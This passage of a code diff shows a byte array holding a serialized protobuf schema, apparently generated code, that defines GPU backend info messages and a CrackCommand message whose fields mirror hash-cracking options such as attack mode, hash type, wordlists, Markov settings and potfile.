0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, + 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, + 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, + 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, + 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, + 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, + 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, + 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, + 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, + 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, + 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, + 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, + 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, + 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, + 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, + 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, + 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, + 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, + 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, + 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, + 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, + 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, - 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, - 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, - 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, - 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, - 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, - 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, - 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, - 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, - 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, - 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, - 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, - 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, - 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, - 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, - 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, - 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, - 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, - 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, - 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, - 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, - 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, - 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, - 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, - 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, - 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, - 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, - 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, - 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, - 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, - 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, - 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, - 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, - 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, - 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, - 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 